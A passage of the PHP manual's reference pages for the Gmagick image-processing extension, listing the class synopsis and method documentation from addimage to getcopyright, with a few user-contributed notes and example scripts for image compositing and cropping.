//Create a border around the image, then simulate how the image will look like as an oil painting
//Notice the chaining of mutator methods which is supported in gmagick
$image->borderimage("yellow", 8, 8)->oilpaintimage(0.3);

//Write the current image at the current state to a file
$image->write('example_thumbnail.jpg');
?>

User Contributed Notes

There are no user contributed notes for this page.


The Gmagick class

(PECL gmagick >= Unknown)

简介

类摘要

class Gmagick {
/* 方法 */
public __construct(string $filename = ?)
public addimage(Gmagick $source): Gmagick
public addnoiseimage(int $noise_type): Gmagick
public annotateimage(
GmagickDraw $GmagickDraw,
float $x,
float $y,
float $angle,
string $text
): Gmagick
public blurimage(float $radius, float $sigma, int $channel = ?): Gmagick
public borderimage(GmagickPixel $color, int $width, int $height): Gmagick
public charcoalimage(float $radius, float $sigma): Gmagick
public chopimage(
int $width,
int $height,
int $x,
int $y
): Gmagick
public clear(): Gmagick
public commentimage(string $comment): Gmagick
public compositeimage(
Gmagick $source,
int $COMPOSE,
int $x,
int $y
): Gmagick
public cropimage(
int $width ,
int $height ,
int $x,
int $y
): Gmagick
public cropthumbnailimage(int $width, int $height): Gmagick
public current(): Gmagick
public cyclecolormapimage(int $displace): Gmagick
public deconstructimages(): Gmagick
public despeckleimage(): Gmagick
public destroy(): bool
public drawimage(GmagickDraw $GmagickDraw): Gmagick
public edgeimage(float $radius): Gmagick
public embossimage(float $radius, float $sigma): Gmagick
public enhanceimage(): Gmagick
public equalizeimage(): Gmagick
public flipimage(): Gmagick
public flopimage(): Gmagick
public frameimage(
GmagickPixel $color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): Gmagick
public gammaimage(float $gamma): Gmagick
public getcopyright(): string
public getfilename(): string
public getimagebackgroundcolor(): GmagickPixel
public getimageblueprimary(): array
public getimagebordercolor(): GmagickPixel
public getimagechanneldepth(int $channel_type): int
public getimagecolors(): int
public getimagecolorspace(): int
public getimagecompose(): int
public getimagedelay(): int
public getimagedepth(): int
public getimagedispose(): int
public getimageextrema(): array
public getimagefilename(): string
public getimageformat(): string
public getimagegamma(): float
public getimagegreenprimary(): array
public getimageheight(): int
public getimagehistogram(): array
public getimageindex(): int
public getimageinterlacescheme(): int
public getimageiterations(): int
public getimagematte(): int
public getimagemattecolor(): GmagickPixel
public getimageprofile(string $name): string
public getimageredprimary(): array
public getimagerenderingintent(): int
public getimageresolution(): array
public getimagescene(): int
public getimagesignature(): string
public getimagetype(): int
public getimageunits(): int
public getimagewhitepoint(): array
public getimagewidth(): int
public getpackagename(): string
public getquantumdepth(): array
public getreleasedate(): string
public getsamplingfactors(): array
public getsize(): array
public getversion(): array
public hasnextimage(): mixed
public haspreviousimage(): mixed
public implodeimage(float $radius): mixed
public labelimage(string $label): mixed
public levelimage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Gmagick::CHANNEL_DEFAULT
): mixed
public magnifyimage(): mixed
public mapimage(gmagick $gmagick, bool $dither): Gmagick
public medianfilterimage(float $radius): void
public minifyimage(): Gmagick
public modulateimage(float $brightness, float $saturation, float $hue): Gmagick
public motionblurimage(float $radius, float $sigma, float $angle): Gmagick
public newimage(
int $width,
int $height,
string $background,
string $format = ?
): Gmagick
public nextimage(): bool
public normalizeimage(int $channel = ?): Gmagick
public oilpaintimage( float $radius ): Gmagick
public previousimage(): bool
public profileimage(string $name, string $profile): Gmagick
public quantizeimage(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick
public quantizeimages(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick
public queryfontmetrics(GmagickDraw $draw, string $text): array
public queryfonts(string $pattern = "*"): array
public queryformats(string $pattern = "*"): array
public radialblurimage(float $angle, int $channel = Gmagick::CHANNEL_DEFAULT): Gmagick
public raiseimage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): Gmagick
public read(string $filename): Gmagick
public readimage(string $filename): Gmagick
public readimageblob(string $imageContents, string $filename = ?): Gmagick
public readimagefile(resource $fp, string $filename = ?): Gmagick
public reducenoiseimage(float $radius): Gmagick
public removeimage(): Gmagick
public removeimageprofile(string $name): string
public resampleimage(
float $xResolution,
float $yResolution,
int $filter,
float $blur
): Gmagick
public resizeimage(
int $width,
int $height,
int $filter,
float $blur,
bool $fit = false
): Gmagick
public rollimage(int $x, int $y): Gmagick
public rotateimage(mixed $color, float $degrees): Gmagick
public scaleimage(int $width, int $height, bool $fit = false): Gmagick
public separateimagechannel(int $channel): Gmagick
setCompressionQuality( int $quality = 75 ): Gmagick
public setfilename(string $filename): Gmagick
public setimagebackgroundcolor(GmagickPixel $color): Gmagick
public setimageblueprimary(float $x, float $y): Gmagick
public setimagebordercolor(GmagickPixel $color): Gmagick
public setimagechanneldepth(int $channel, int $depth): Gmagick
public setimagecolorspace(int $colorspace): Gmagick
public setimagecompose(int $composite): Gmagick
public setimagedelay(int $delay): Gmagick
public setimagedepth(int $depth): Gmagick
public setimagedispose(int $disposeType): Gmagick
public setimagefilename(string $filename): Gmagick
public setimageformat(string $imageFormat): Gmagick
public setimagegamma(float $gamma): Gmagick
public setimagegreenprimary(float $x, float $y): Gmagick
public setimageindex(int $index): Gmagick
public setimageinterlacescheme(int $interlace): Gmagick
public setimageiterations(int $iterations): Gmagick
public setimageprofile(string $name, string $profile): Gmagick
public setimageredprimary(float $x, float $y): Gmagick
public setimagerenderingintent(int $rendering_intent): Gmagick
public setimageresolution(float $xResolution, float $yResolution): Gmagick
public setimagescene(int $scene): Gmagick
public setimagetype(int $imgType): Gmagick
public setimageunits(int $resolution): Gmagick
public setimagewhitepoint(float $x, float $y): Gmagick
public setsamplingfactors(array $factors): Gmagick
public setsize(int $columns, int $rows): Gmagick
public shearimage(mixed $color, float $xShear, float $yShear): Gmagick
public solarizeimage(int $threshold): Gmagick
public spreadimage(float $radius): Gmagick
public stripimage(): Gmagick
public swirlimage(float $degrees): Gmagick
public thumbnailimage(int $width, int $height, bool $fit = false): Gmagick
public trimimage(float $fuzz): Gmagick
public writeimage(string $filename, bool $all_frames = false): Gmagick
}

Table of Contents

  • Gmagick::addimage — Adds new image to Gmagick object image list
  • Gmagick::addnoiseimage — Adds random noise to the image
  • Gmagick::annotateimage — Annotates an image with text
  • Gmagick::blurimage — Adds blur filter to image
  • Gmagick::borderimage — Surrounds the image with a border
  • Gmagick::charcoalimage — Simulates a charcoal drawing
  • Gmagick::chopimage — Removes a region of an image and trims
  • Gmagick::clear — Clears all resources associated to Gmagick object
  • Gmagick::commentimage — Adds a comment to your image
  • Gmagick::compositeimage — Composite one image onto another
  • Gmagick::__construct — The Gmagick constructor
  • Gmagick::cropimage — Extracts a region of the image
  • Gmagick::cropthumbnailimage — Creates a crop thumbnail
  • Gmagick::current — The current purpose
  • Gmagick::cyclecolormapimage — Displaces an image's colormap
  • Gmagick::deconstructimages — Returns certain pixel differences between images
  • Gmagick::despeckleimage — The despeckleimage purpose
  • Gmagick::destroy — The destroy purpose
  • Gmagick::drawimage — Renders the GmagickDraw object on the current image
  • Gmagick::edgeimage — Enhance edges within the image
  • Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect
  • Gmagick::enhanceimage — Improves the quality of a noisy image
  • Gmagick::equalizeimage — Equalizes the image histogram
  • Gmagick::flipimage — Creates a vertical mirror image
  • Gmagick::flopimage — Creates a horizontal mirror image
  • Gmagick::frameimage — Adds a simulated three-dimensional border
  • Gmagick::gammaimage — Gamma-corrects an image
  • Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string
  • Gmagick::getfilename — The filename associated with an image sequence
  • Gmagick::getimagebackgroundcolor — Returns the image background color
  • Gmagick::getimageblueprimary — Returns the chromaticy blue primary point
  • Gmagick::getimagebordercolor — Returns the image border color
  • Gmagick::getimagechanneldepth — Gets the depth for a particular image channel
  • Gmagick::getimagecolors — Returns the color of the specified colormap index
  • Gmagick::getimagecolorspace — Gets the image colorspace
  • Gmagick::getimagecompose — Returns the composite operator associated with the image
  • Gmagick::getimagedelay — Gets the image delay
  • Gmagick::getimagedepth — Gets the depth of the image
  • Gmagick::getimagedispose — Gets the image disposal method
  • Gmagick::getimageextrema — Gets the extrema for the image
  • Gmagick::getimagefilename — Returns the filename of a particular image in a sequence
  • Gmagick::getimageformat — Returns the format of a particular image in a sequence
  • Gmagick::getimagegamma — Gets the image gamma
  • Gmagick::getimagegreenprimary — Returns the chromaticy green primary point
  • Gmagick::getimageheight — Returns the image height
  • Gmagick::getimagehistogram — Gets the image histogram
  • Gmagick::getimageindex — Gets the index of the current active image
  • Gmagick::getimageinterlacescheme — Gets the image interlace scheme
  • Gmagick::getimageiterations — Gets the image iterations
  • Gmagick::getimagematte — Check if the image has a matte channel
  • Gmagick::getimagemattecolor — Returns the image matte color
  • Gmagick::getimageprofile — Returns the named image profile
  • Gmagick::getimageredprimary — Returns the chromaticity red primary point
  • Gmagick::getimagerenderingintent — Gets the image rendering intent
  • Gmagick::getimageresolution — Gets the image X and Y resolution
  • Gmagick::getimagescene — Gets the image scene
  • Gmagick::getimagesignature — Generates an SHA-256 message digest
  • Gmagick::getimagetype — Gets the potential image type
  • Gmagick::getimageunits — Gets the image units of resolution
  • Gmagick::getimagewhitepoint — Returns the chromaticity white point
  • Gmagick::getimagewidth — Returns the width of the image
  • Gmagick::getpackagename — Returns the GraphicsMagick package name
  • Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string
  • Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string
  • Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor
  • Gmagick::getsize — Returns the size associated with the Gmagick object
  • Gmagick::getversion — Returns the GraphicsMagick API version
  • Gmagick::hasnextimage — Checks if the object has more images
  • Gmagick::haspreviousimage — Checks if the object has a previous image
  • Gmagick::implodeimage — Creates a new image as a copy
  • Gmagick::labelimage — Adds a label to an image
  • Gmagick::levelimage — Adjusts the levels of an image
  • Gmagick::magnifyimage — Scales an image proportionally 2x
  • Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image
  • Gmagick::medianfilterimage — Applies a digital filter
  • Gmagick::minifyimage — Scales an image proportionally to half its size
  • Gmagick::modulateimage — Control the brightness, saturation, and hue
  • Gmagick::motionblurimage — Simulates motion blur
  • Gmagick::newimage — Creates a new image
  • Gmagick::nextimage — Moves to the next image
  • Gmagick::normalizeimage — Enhances the contrast of a color image
  • Gmagick::oilpaintimage — Simulates an oil painting
  • Gmagick::previousimage — Move to the previous image in the object
  • Gmagick::profileimage — Adds or removes a profile from an image
  • Gmagick::quantizeimage — Analyzes the colors within a reference image
  • Gmagick::quantizeimages — The quantizeimages purpose
  • Gmagick::queryfontmetrics — Returns an array representing the font metrics
  • Gmagick::queryfonts — Returns the configured fonts
  • Gmagick::queryformats — Returns formats supported by Gmagick
  • Gmagick::radialblurimage — Radial blurs an image
  • Gmagick::raiseimage — Creates a simulated 3d button-like effect
  • Gmagick::read — Reads image from filename
  • Gmagick::readimage — Reads image from filename
  • Gmagick::readimageblob — Reads image from a binary string
  • Gmagick::readimagefile — The readimagefile purpose
  • Gmagick::reducenoiseimage — Smooths the contours of an image
  • Gmagick::removeimage — Removes an image from the image list
  • Gmagick::removeimageprofile — Removes the named image profile and returns it
  • Gmagick::resampleimage — Resample image to desired resolution
  • Gmagick::resizeimage — Scales an image
  • Gmagick::rollimage — Offsets an image
  • Gmagick::rotateimage — Rotates an image
  • Gmagick::scaleimage — Scales the size of an image
  • Gmagick::separateimagechannel — Separates a channel from the image
  • Gmagick::setCompressionQuality — Sets the object's default compression quality
  • Gmagick::setfilename — Sets the filename before you read or write the image
  • Gmagick::setimagebackgroundcolor — Sets the image background color
  • Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point
  • Gmagick::setimagebordercolor — Sets the image border color
  • Gmagick::setimagechanneldepth — Sets the depth of a particular image channel
  • Gmagick::setimagecolorspace — Sets the image colorspace
  • Gmagick::setimagecompose — Sets the image composite operator
  • Gmagick::setimagedelay — Sets the image delay
  • Gmagick::setimagedepth — Sets the image depth
  • Gmagick::setimagedispose — Sets the image disposal method
  • Gmagick::setimagefilename — Sets the filename of a particular image in a sequence
  • Gmagick::setimageformat — Sets the format of a particular image
  • Gmagick::setimagegamma — Sets the image gamma
  • Gmagick::setimagegreenprimary — Sets the image chromaticity green primary point
  • Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter
  • Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image
  • Gmagick::setimageiterations — Sets the image iterations
  • Gmagick::setimageprofile — Adds a named profile to the Gmagick object
  • Gmagick::setimageredprimary — Sets the image chromaticity red primary point
  • Gmagick::setimagerenderingintent — Sets the image rendering intent
  • Gmagick::setimageresolution — Sets the image resolution
  • Gmagick::setimagescene — Sets the image scene
  • Gmagick::setimagetype — Sets the image type
  • Gmagick::setimageunits — Sets the image units of resolution
  • Gmagick::setimagewhitepoint — Sets the image chromaticity white point
  • Gmagick::setsamplingfactors — Sets the image sampling factors
  • Gmagick::setsize — Sets the size of the Gmagick object
  • Gmagick::shearimage — Creating a parallelogram
  • Gmagick::solarizeimage — Applies a solarizing effect to the image
  • Gmagick::spreadimage — Randomly displaces each pixel in a block
  • Gmagick::stripimage — Strips an image of all profiles and comments
  • Gmagick::swirlimage — Swirls the pixels about the center of the image
  • Gmagick::thumbnailimage — Changes the size of an image
  • Gmagick::trimimage — Remove edges from the image
  • Gmagick::write — 别名 Gmagick::writeimage
  • Gmagick::writeimage — Writes an image to the specified filename

User Contributed Notes

robert at cesaric dot com 24-Jun-2011 06:27
getNumberImages() isn't documented here but it is available.  You can look at ImageMagick documentation for use.


Adds new image to Gmagick object image list

  • ? Gmagick
  • Gmagick::addnoiseimage ?
  • PHP Manual
  • Gmagick
  • Adds new image to Gmagick object image list

Gmagick::addimage

(PECL gmagick >= Unknown)

Gmagick::addimage — Adds new image to Gmagick object image list

说明

public Gmagick::addimage(Gmagick $source): Gmagick

Adds new image to Gmagick object from the current position of the source object. After the operation iterator position is moved at the end of the list.

参数

source

The source Gmagick object

返回值

The Gmagick object with image added

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds random noise to the image

  • ? Gmagick::addimage
  • Gmagick::annotateimage ?
  • PHP Manual
  • Gmagick
  • Adds random noise to the image

Gmagick::addnoiseimage

(PECL gmagick >= Unknown)

Gmagick::addnoiseimage — Adds random noise to the image

说明

public Gmagick::addnoiseimage(int $noise_type): Gmagick

Adds random noise to the image.

参数

noise_type

The type of the noise. Refer to this list of noise constants.

返回值

The Gmagick object with noise added.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Annotates an image with text

  • ? Gmagick::addnoiseimage
  • Gmagick::blurimage ?
  • PHP Manual
  • Gmagick
  • Annotates an image with text

Gmagick::annotateimage

(PECL gmagick >= Unknown)

Gmagick::annotateimage — Annotates an image with text

说明

public Gmagick::annotateimage(
GmagickDraw $GmagickDraw,
float $x,
float $y,
float $angle,
string $text
): Gmagick

Annotates an image with text.

参数

GmagickDraw

The GmagickDraw object that contains settings for drawing the text.

x

Horizontal offset in pixels to the left of text.

y

Vertical offset in pixels to the baseline of text.

angle

The angle at which to write the text.

text

The string to draw.

返回值

The Gmagick object with annotation made.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds blur filter to image

  • ? Gmagick::annotateimage
  • Gmagick::borderimage ?
  • PHP Manual
  • Gmagick
  • Adds blur filter to image

Gmagick::blurimage

(PECL gmagick >= Unknown)

Gmagick::blurimage — Adds blur filter to image

说明

public Gmagick::blurimage(float $radius, float $sigma, int $channel = ?): Gmagick

Adds blur filter to image.

参数

radius

Blur radius

sigma

Standard deviation

返回值

The blurred Gmagick object

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Surrounds the image with a border

  • ? Gmagick::blurimage
  • Gmagick::charcoalimage ?
  • PHP Manual
  • Gmagick
  • Surrounds the image with a border

Gmagick::borderimage

(PECL gmagick >= Unknown)

Gmagick::borderimage — Surrounds the image with a border

说明

public Gmagick::borderimage(GmagickPixel $color, int $width, int $height): Gmagick

Surrounds the image with a border of the color defined by the bordercolor GmagickPixel object or a color string.

参数

color

GmagickPixel object or a string containing the border color.

width

Border width.

height

Border height.

返回值

The Gmagick object with border defined.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Simulates a charcoal drawing

  • ? Gmagick::borderimage
  • Gmagick::chopimage ?
  • PHP Manual
  • Gmagick
  • Simulates a charcoal drawing

Gmagick::charcoalimage

(PECL gmagick >= Unknown)

Gmagick::charcoalimage — Simulates a charcoal drawing

说明

public Gmagick::charcoalimage(float $radius, float $sigma): Gmagick

Simulates a charcoal drawing.

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

返回值

The Gmagick object with charcoal simulation.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Removes a region of an image and trims

  • ? Gmagick::charcoalimage
  • Gmagick::clear ?
  • PHP Manual
  • Gmagick
  • Removes a region of an image and trims

Gmagick::chopimage

(PECL gmagick >= Unknown)

Gmagick::chopimage — Removes a region of an image and trims

说明

public Gmagick::chopimage(
int $width,
int $height,
int $x,
int $y
): Gmagick

Removes a region of an image and collapses the image to occupy the removed portion.

参数

width

Width of the chopped area.

height

Height of the chopped area.

x

X origo of the chopped area.

y

Y origo of the chopped area.

返回值

The chopped Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Clears all resources associated to Gmagick object

  • ? Gmagick::chopimage
  • Gmagick::commentimage ?
  • PHP Manual
  • Gmagick
  • Clears all resources associated to Gmagick object

Gmagick::clear

(PECL gmagick >= Unknown)

Gmagick::clear — Clears all resources associated to Gmagick object

说明

public Gmagick::clear(): Gmagick

Clears all resources associated to Gmagick object.

参数

此函数没有参数。

返回值

The cleared Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds a comment to your image

  • ? Gmagick::clear
  • Gmagick::compositeimage ?
  • PHP Manual
  • Gmagick
  • Adds a comment to your image

Gmagick::commentimage

(PECL gmagick >= Unknown)

Gmagick::commentimage — Adds a comment to your image

说明

public Gmagick::commentimage(string $comment): Gmagick

Adds a comment to your image.

参数

comment

The comment to add.

返回值

The Gmagick object with comment added.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Composite one image onto another

  • ? Gmagick::commentimage
  • Gmagick::__construct ?
  • PHP Manual
  • Gmagick
  • Composite one image onto another

Gmagick::compositeimage

(PECL gmagick >= Unknown)

Gmagick::compositeimage — Composite one image onto another

说明

public Gmagick::compositeimage(
Gmagick $source,
int $COMPOSE,
int $x,
int $y
): Gmagick

Composite one image onto another at the specified offset.

参数

source

Gmagick object which holds the composite image.

compose

Composite operator.

x

The column offset of the composited image.

y

The row offset of the composited image.

返回值

The Gmagick object with compositions.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

Paul Janik 07-Sep-2011 06:59
The second parameter, $COMPOSE, has 3 usable values:

1 = the image is displayed normally;
2 = the image is displayed on a white background;
3 = the image is display in black on a white background;

Paul.
wallace Lau kok poh 04-Aug-2011 12:03
Quick script for stamping a small image on a large image

#!/usr/bin/php
<?php
//  <wallace@wallacelau.com>
//Instantiate a new Gmagick object
$imgMain = new Gmagick('Torso_F.tiff');

// get the image width
$width = (int) ($imgMain->getimagewidth() /2) - 150;

//Instantiate a barcode img Gmagick object
$imgBarcode = new Gmagick('barcode.jpeg');

//stamp the barcode on top of the Main image
$imgMain->compositeimage($imgBarcode, 1, $width, 150);
//Write the current image at the current state to a file
$imgMain->write('withBarcode.tiff');

?>


The Gmagick constructor

  • ? Gmagick::compositeimage
  • Gmagick::cropimage ?
  • PHP Manual
  • Gmagick
  • The Gmagick constructor

Gmagick::__construct

(PECL gmagick >= Unknown)

Gmagick::__construct — The Gmagick constructor

说明

public Gmagick::__construct(string $filename = ?)

The Gmagick constructor.

参数

filename

The path to an image to load or array of paths.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Extracts a region of the image

  • ? Gmagick::__construct
  • Gmagick::cropthumbnailimage ?
  • PHP Manual
  • Gmagick
  • Extracts a region of the image

Gmagick::cropimage

(PECL gmagick >= Unknown)

Gmagick::cropimage — Extracts a region of the image

说明

public Gmagick::cropimage(
int $width ,
int $height ,
int $x,
int $y
): Gmagick

Extracts a region of the image.

参数

width

The width of the crop.

height

The height of the crop.

x

The X coordinate of the cropped region's top left corner.

y

The Y coordinate of the cropped region's top left corner.

返回值

The cropped Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

martin at arp242 dot net 22-Jun-2011 12:52
A slight note since this is not immediately obvious:
Just as the C CropImage() function, you can specify all zero parameters to get an "autocrop" effect, meaning it will remove all single-color "edges" of an image.


Creates a crop thumbnail

  • ? Gmagick::cropimage
  • Gmagick::current ?
  • PHP Manual
  • Gmagick
  • Creates a crop thumbnail

Gmagick::cropthumbnailimage

(PECL gmagick >= Unknown)

Gmagick::cropthumbnailimage — Creates a crop thumbnail

说明

public Gmagick::cropthumbnailimage(int $width, int $height): Gmagick

Creates a fixed size thumbnail by first scaling the image down and cropping a specified area from the center.

参数

width

The width of the thumbnail.

height

The Height of the thumbnail.

返回值

The cropped Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • ? Gmagick::cropthumbnailimage
  • Gmagick::cyclecolormapimage ?
  • PHP Manual
  • Gmagick
  • The current purpose

Gmagick::current

(PECL gmagick >= Unknown)

Gmagick::current — The current purpose

说明

public Gmagick::current(): Gmagick

Returns reference to the current gmagick object with image pointer at the correct sequence.

参数

此函数没有参数。

返回值

Returns self on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Displaces an image's colormap

  • ? Gmagick::current
  • Gmagick::deconstructimages ?
  • PHP Manual
  • Gmagick
  • Displaces an image's colormap

Gmagick::cyclecolormapimage

(PECL gmagick >= Unknown)

Gmagick::cyclecolormapimage — Displaces an image's colormap

说明

public Gmagick::cyclecolormapimage(int $displace): Gmagick

Displaces an image's colormap by a given number of positions. If you cycle the colormap a number of times you can produce a psychedelic effect.

参数

displace

The amount to displace the colormap.

返回值

Returns self on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns certain pixel differences between images

  • ? Gmagick::cyclecolormapimage
  • Gmagick::despeckleimage ?
  • PHP Manual
  • Gmagick
  • Returns certain pixel differences between images

Gmagick::deconstructimages

(PECL gmagick >= Unknown)

Gmagick::deconstructimages — Returns certain pixel differences between images

说明

public Gmagick::deconstructimages(): Gmagick

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers.

参数

此函数没有参数。

返回值

Returns a new Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


The despeckleimage purpose

  • ? Gmagick::deconstructimages
  • Gmagick::destroy ?
  • PHP Manual
  • Gmagick
  • The despeckleimage purpose

Gmagick::despeckleimage

(PECL gmagick >= Unknown)

Gmagick::despeckleimage — The despeckleimage purpose

说明

public Gmagick::despeckleimage(): Gmagick

Reduces the speckle noise in an image while preserving the edges of the original image.

参数

此函数没有参数。

返回值

The despeckled Gmagick object.

错误／异常

错误时抛出 GmagickException。

示例

Example #1 Gmagick::despeckleimage() example

<?php
/* ... */
?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


The destroy purpose

  • ? Gmagick::despeckleimage
  • Gmagick::drawimage ?
  • PHP Manual
  • Gmagick
  • The destroy purpose

Gmagick::destroy

(PECL gmagick >= Unknown)

Gmagick::destroy — The destroy purpose

说明

public Gmagick::destroy(): bool

Destroys the Gmagick object and frees all resources associated with it

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Renders the GmagickDraw object on the current image

  • ? Gmagick::destroy
  • Gmagick::edgeimage ?
  • PHP Manual
  • Gmagick
  • Renders the GmagickDraw object on the current image

Gmagick::drawimage

(PECL gmagick >= Unknown)

Gmagick::drawimage — Renders the GmagickDraw object on the current image

说明

public Gmagick::drawimage(GmagickDraw $GmagickDraw): Gmagick

Renders the GmagickDraw object on the current image.

参数

GmagickDraw

The drawing operations to render on the image.

返回值

The drawn Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Enhance edges within the image

  • ? Gmagick::drawimage
  • Gmagick::embossimage ?
  • PHP Manual
  • Gmagick
  • Enhance edges within the image

Gmagick::edgeimage

(PECL gmagick >= Unknown)

Gmagick::edgeimage — Enhance edges within the image

说明

public Gmagick::edgeimage(float $radius): Gmagick

Enhance edges within the image with a convolution filter of the given radius. Use radius 0 and it will be auto-selected.

参数

radius

The radius of the operation.

返回值

The Gmagick object with edges enhanced.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns a grayscale image with a three-dimensional effect

  • ? Gmagick::edgeimage
  • Gmagick::enhanceimage ?
  • PHP Manual
  • Gmagick
  • Returns a grayscale image with a three-dimensional effect

Gmagick::embossimage

(PECL gmagick >= Unknown)

Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect

说明

public Gmagick::embossimage(float $radius, float $sigma): Gmagick

Returns a grayscale image with a three-dimensional effect. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and it will choose a suitable radius for you.

参数

radius

The radius of the effect.

sigma

The sigma of the effect.

返回值

The embossed Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Improves the quality of a noisy image

  • ? Gmagick::embossimage
  • Gmagick::equalizeimage ?
  • PHP Manual
  • Gmagick
  • Improves the quality of a noisy image

Gmagick::enhanceimage

(PECL gmagick >= Unknown)

Gmagick::enhanceimage — Improves the quality of a noisy image

说明

public Gmagick::enhanceimage(): Gmagick

Applies a digital filter that improves the quality of a noisy image.

参数

此函数没有参数。

返回值

The enhanced Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Equalizes the image histogram

  • ? Gmagick::enhanceimage
  • Gmagick::flipimage ?
  • PHP Manual
  • Gmagick
  • Equalizes the image histogram

Gmagick::equalizeimage

(PECL gmagick >= Unknown)

Gmagick::equalizeimage — Equalizes the image histogram

说明

public Gmagick::equalizeimage(): Gmagick

Equalizes the image histogram.

参数

此函数没有参数。

返回值

The equalized Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Creates a vertical mirror image

  • ? Gmagick::equalizeimage
  • Gmagick::flopimage ?
  • PHP Manual
  • Gmagick
  • Creates a vertical mirror image

Gmagick::flipimage

(PECL gmagick >= Unknown)

Gmagick::flipimage — Creates a vertical mirror image

说明

public Gmagick::flipimage(): Gmagick

Creates a vertical mirror image by reflecting the pixels around the central x-axis.

参数

此函数没有参数。

返回值

The flipped Gmagick object.

错误／异常

错误时抛出 GmagickException。

参见

  • Gmagick::flopimage() - Creates a horizontal mirror image

User Contributed Notes

There are no user contributed notes for this page.


Creates a horizontal mirror image

  • ? Gmagick::flipimage
  • Gmagick::frameimage ?
  • PHP Manual
  • Gmagick
  • Creates a horizontal mirror image

Gmagick::flopimage

(PECL gmagick >= Unknown)

Gmagick::flopimage — Creates a horizontal mirror image

说明

public Gmagick::flopimage(): Gmagick

Creates a horizontal mirror image by reflecting the pixels around the central y-axis.

参数

此函数没有参数。

返回值

The flopped Gmagick object.

错误／异常

错误时抛出 GmagickException。

参见

  • Gmagick::flipimage() - Creates a vertical mirror image

User Contributed Notes

There are no user contributed notes for this page.


Adds a simulated three-dimensional border

  • ? Gmagick::flopimage
  • Gmagick::gammaimage ?
  • PHP Manual
  • Gmagick
  • Adds a simulated three-dimensional border

Gmagick::frameimage

(PECL gmagick >= Unknown)

Gmagick::frameimage — Adds a simulated three-dimensional border

说明

public Gmagick::frameimage(
GmagickPixel $color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): Gmagick

Adds a simulated three-dimensional border around the image. The width and height specify the border width of the vertical and horizontal sides of the frame. The inner and outer bevels indicate the width of the inner and outer shadows of the frame.

参数

color

GmagickPixel object or a float representing the matte color.

width

The width of the border.

height

The height of the border.

inner_bevel

The inner bevel width.

outer_bevel

The outer bevel width.

返回值

The framed Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gamma-corrects an image

  • ? Gmagick::frameimage
  • Gmagick::getcopyright ?
  • PHP Manual
  • Gmagick
  • Gamma-corrects an image

Gmagick::gammaimage

(PECL gmagick >= Unknown)

Gmagick::gammaimage — Gamma-corrects an image

说明

public Gmagick::gammaimage(float $gamma): Gmagick

Gamma-corrects an image. The same image viewed on different devices will have perceptual differences in the way the image's intensities are represented on the screen. Specify individual gamma levels for the red, green, and blue channels, or adjust all three with the gamma parameter. Values typically range from 0.8 to 2.3.

参数

gamma

The amount of gamma-correction.

返回值

The gamma corrected Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick API copyright as a string

  • ? Gmagick::gammaimage
  • Gmagick::getfilename ?
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick API copyright as a string

Gmagick::getcopyright

(PECL gmagick >= Unknown)

Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string

说明

public Gmagick::getcopyright(): string

